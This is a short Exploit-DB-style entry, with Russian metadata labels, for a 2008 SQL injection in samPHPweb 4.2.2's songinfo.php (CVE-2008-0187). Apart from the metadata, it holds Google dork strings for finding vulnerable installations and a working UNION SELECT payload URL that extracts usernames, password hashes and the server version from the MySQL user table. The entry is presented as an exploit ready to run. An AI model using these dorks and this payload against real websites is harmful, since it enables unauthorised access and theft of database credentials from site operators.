Exploit samPHPweb 4.2.2 - 'songinfo.php' SQL Injection

[Exploiter]

EDB-ID

4836

Проверка EDB

1. Пройдено

Автор

BACKDOOR

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-0187

Дата публикации

2008-01-05

Title:samPHPweb (songinfo.php) Remote SQL Injection
Script:samPHPweb
Download:http://www.spacialaudio.com/download/samPHPweb.zip
Bug:songinfo.php
Author:BackDoor
Dork1:inurl:samPHPweb/playing.php
Dork2:This page was produced using SAM Broadcaster. © Copyright Spacial Audio Solutions, LLC 1999 - 2004.
Exploit:
www.victim.com/scriptpath/songinfo.php?songid=-1/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,13,password,user,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44/**/from/**/mysql.user

# milw0rm.com [2008-01-05]